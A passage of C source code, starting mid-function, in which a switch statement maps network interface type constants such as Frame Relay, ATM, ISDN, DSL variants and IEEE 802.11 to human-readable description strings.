IF_TYPE_SIP: ret = "SIP - SMDS, coffee"; break; case IF_TYPE_FRAMERELAY: ret = "FRAMERELAY"; break; case IF_TYPE_RS232: ret = "RS232"; break; case IF_TYPE_PARA: ret = "Parallel port"; break; case IF_TYPE_ARCNET: ret = "ARCNET"; break; case IF_TYPE_ARCNET_PLUS: ret = "ARCNET_PLUS"; break; case IF_TYPE_ATM: ret = "ATM"; break; case IF_TYPE_MIO_X25: ret = "MIO_X25"; break; case IF_TYPE_SONET: ret = "SONET or SDH"; break; case IF_TYPE_X25_PLE: ret = "X25_PLE"; break; case IF_TYPE_ISO88022_LLC: ret = "ISO88022_LLC"; break; case IF_TYPE_LOCALTALK: ret = "LOCALTALK"; break; case IF_TYPE_SMDS_DXI: ret = "SMDS_DXI"; break; case IF_TYPE_FRAMERELAY_SERVICE: ret = "FRAMERELAY_SERVICE"; break; case IF_TYPE_V35: ret = "V35"; break; case IF_TYPE_HSSI: ret = "HSSI"; break; case IF_TYPE_HIPPI: ret = "HIPPI"; break; case IF_TYPE_MODEM: ret = "MODEM"; break; case IF_TYPE_AAL5: ret = "AAL5 over ATM"; break; case IF_TYPE_SONET_PATH: ret = "SONET_PATH"; break; case IF_TYPE_SONET_VT: ret = "SONET_VT"; break; case IF_TYPE_SMDS_ICIP: ret = "SMDS InterCarrier Interface"; break; case IF_TYPE_PROP_VIRTUAL: ret = "Proprietary virtual/internal"; break; case IF_TYPE_PROP_MULTIPLEXOR: ret = "Proprietary multiplexing"; break; case IF_TYPE_IEEE80212: ret = "IEEE80212 - 100BaseVG"; break; case IF_TYPE_FIBRECHANNEL: ret = "FIBRECHANNEL"; break; case IF_TYPE_HIPPIINTERFACE: ret = "HIPPIINTERFACE"; break; case IF_TYPE_AFLANE_8023: ret = "ATM Emulated LAN for 802.3"; break; case IF_TYPE_AFLANE_8025: ret = "ATM Emulated LAN for 802.5"; break; case IF_TYPE_CCTEMUL: ret = "CCTEMUL - ATM Emulated circuit"; break; case IF_TYPE_FASTETHER: ret = "Fast Ethernet (100BaseT)"; break; case IF_TYPE_ISDN: ret = "ISDN and X.25"; break; case IF_TYPE_V11: ret = "CCITT V.11/X.21"; break; case IF_TYPE_V36: ret = "CCITT V.36"; break; case IF_TYPE_G703_64K: ret = "CCITT G703 at 64Kbps"; break; case IF_TYPE_G703_2MB: ret = "G703_2MB"; break; case IF_TYPE_QLLC: ret = "SNA QLLC"; break; case IF_TYPE_FASTETHER_FX: ret = "Fast Ethernet (100BaseFX)"; break; case IF_TYPE_CHANNEL: ret = "CHANNEL"; break; case IF_TYPE_IEEE80211: ret = "IEEE80211 - Radio spread spectrum"; break; case IF_TYPE_IBM370PARCHAN: ret = "IBM370PARCHAN - IBM System 360/370 OEMI Channel"; break; case IF_TYPE_ESCON: ret = "IBM Enterprise Systems Connection"; break; case IF_TYPE_DLSW: ret = "Data Link Switching"; break; case IF_TYPE_ISDN_S: ret = "ISDN S/T interface"; break; case IF_TYPE_ISDN_U: ret = "ISDN U interface"; break; case IF_TYPE_LAP_D: ret = "Link Access Protocol D"; break; case IF_TYPE_IPSWITCH: ret = "IP Switching Objects"; break; case IF_TYPE_RSRB: ret = "Remote Source Route Bridging"; break; case IF_TYPE_ATM_LOGICAL: ret = "ATM Logical Port"; break; case IF_TYPE_DS0: ret = "Digital Signal Level 0"; break; case IF_TYPE_DS0_BUNDLE: ret = "Group of ds0s on the same ds1"; break; case IF_TYPE_BSC: ret = "Bisynchronous Protocol"; break; case IF_TYPE_ASYNC: ret = "Asynchronous Protocol"; break; case IF_TYPE_CNR: ret = "Combat Net Radio"; break; case IF_TYPE_ISO88025R_DTR: ret = "ISO 802.5r DTR"; break; case IF_TYPE_EPLRS: ret = "Ext Pos Loc Report Sys"; break; case IF_TYPE_ARAP: ret = "Appletalk Remote Access Protocol"; break; case IF_TYPE_PROP_CNLS: ret = "Proprietary Connectionless Proto"; break; case IF_TYPE_HOSTPAD: ret = "CCITT-ITU X.29 PAD Protocol"; break; case IF_TYPE_TERMPAD: ret = "CCITT-ITU X.3 PAD Facility"; break; case IF_TYPE_FRAMERELAY_MPI: ret = "Multiproto Interconnect over FR"; break; case IF_TYPE_X213: ret = "CCITT-ITU X213"; break; case IF_TYPE_ADSL: ret = "Asymmetric Digital Subscrbr Loop"; break; case IF_TYPE_RADSL: ret = "Rate-Adapt Digital Subscrbr Loop"; break; case IF_TYPE_SDSL: ret = "Symmetric Digital Subscriber Loop"; break; case IF_TYPE_VDSL: ret = "Very H-Speed Digital Subscrb Loop"; break; case IF_TYPE_ISO88025_CRFPRINT: ret = "ISO 802.5 CRFP"; break; case IF_TYPE_MYRINET: ret = "Myricom Myrinet"; break; case IF_TYPE_VOICE_EM: ret = "Voice recEive and transMit"; break; case IF_TYPE_VOICE_FXO: ret = "Voice Foreign Exchange Office"; break; case IF_TYPE_VOICE_FXS: ret = "Voice Foreign Exchange Station"; break; case IF_TYPE_VOICE_ENCAP: ret = "Voice encapsulation"; break; case IF_TYPE_VOICE_OVERIP: ret = "Voice over IP encapsulation"; break; case IF_TYPE_ATM_DXI: ret = "ATM DXI"; break; case IF_TYPE_ATM_FUNI: ret = "ATM FUNI"; break; case IF_TYPE_ATM_IMA: ret = "ATM IMA"; break; case IF_TYPE_PPPMULTILINKBUNDLE: ret = "PPP Multilink Bundle"; break; case IF_TYPE_IPOVER_CDLC: ret = "IBM ipOverCdlc"; break; case IF_TYPE_IPOVER_CLAW: ret = "IBM Common Link Access to Workstn"; break; case IF_TYPE_STACKTOSTACK: ret = "IBM stackToStack"; break; case IF_TYPE_VIRTUALIPADDRESS: ret = "IBM VIPA"; break; case IF_TYPE_MPC: ret = "IBM multi-proto channel support"; break; case IF_TYPE_IPOVER_ATM: ret = "IBM ipOverAtm"; break; case IF_TYPE_ISO88025_FIBER: ret = "ISO 802.5j Fiber Token Ring"; break; case IF_TYPE_TDLC: ret = "IBM twinaxial data link control"; break; case IF_TYPE_GIGABITETHERNET: ret = "GIGABITETHERNET"; break; case IF_TYPE_HDLC: ret = "HDLC"; break; case IF_TYPE_LAP_F: ret = "LAP_F"; break; case IF_TYPE_V37: ret = "V37"; break; case IF_TYPE_X25_MLP: ret = "X.25 Multi-Link Protocol"; break; case IF_TYPE_X25_HUNTGROUP: ret = "X.25 Hunt Group"; break; case IF_TYPE_TRANSPHDLC: ret = "TRANSPHDLC"; break; case IF_TYPE_INTERLEAVE: ret = "Interleave channel"; break; case IF_TYPE_FAST: ret = "Fast channel"; break; case IF_TYPE_IP: ret = "IP (for APPN HPR in IP networks)"; break; case IF_TYPE_DOCSCABLE_MACLAYER: ret = "CATV Mac Layer"; break; case IF_TYPE_DOCSCABLE_DOWNSTREAM: ret = "CATV Downstream interface"; break; case IF_TYPE_DOCSCABLE_UPSTREAM: ret = "CATV Upstream interface"; break; case IF_TYPE_A12MPPSWITCH: ret = "Avalon Parallel Processor"; break; case IF_TYPE_TUNNEL: ret = "Encapsulation interface"; break; case IF_TYPE_COFFEE: ret = "Coffee pot"; break; case IF_TYPE_CES: ret = "Circuit Emulation Service"; break; case IF_TYPE_ATM_SUBINTERFACE: ret = "ATM Sub Interface"; break; case IF_TYPE_L2_VLAN: ret = "Layer 2 Virtual LAN using 802.1Q"; break; case IF_TYPE_L3_IPVLAN: ret = "Layer 3 Virtual LAN using IP"; break; case IF_TYPE_L3_IPXVLAN: ret = "Layer 3 Virtual LAN using IPX"; break; case IF_TYPE_DIGITALPOWERLINE: ret = "IP over Power Lines"; break; case IF_TYPE_MEDIAMAILOVERIP: ret = "Multimedia Mail over IP"; break; case IF_TYPE_DTM: ret = "Dynamic syncronous Transfer Mode"; break; case IF_TYPE_DCN: ret = "Data Communications Network"; break; case IF_TYPE_IPFORWARD: ret = "IP Forwarding Interface"; break; case IF_TYPE_MSDSL: ret = "Multi-rate Symmetric DSL"; break; case IF_TYPE_IEEE1394: ret = "IEEE1394 High Perf Serial Bus"; break; } return ret; }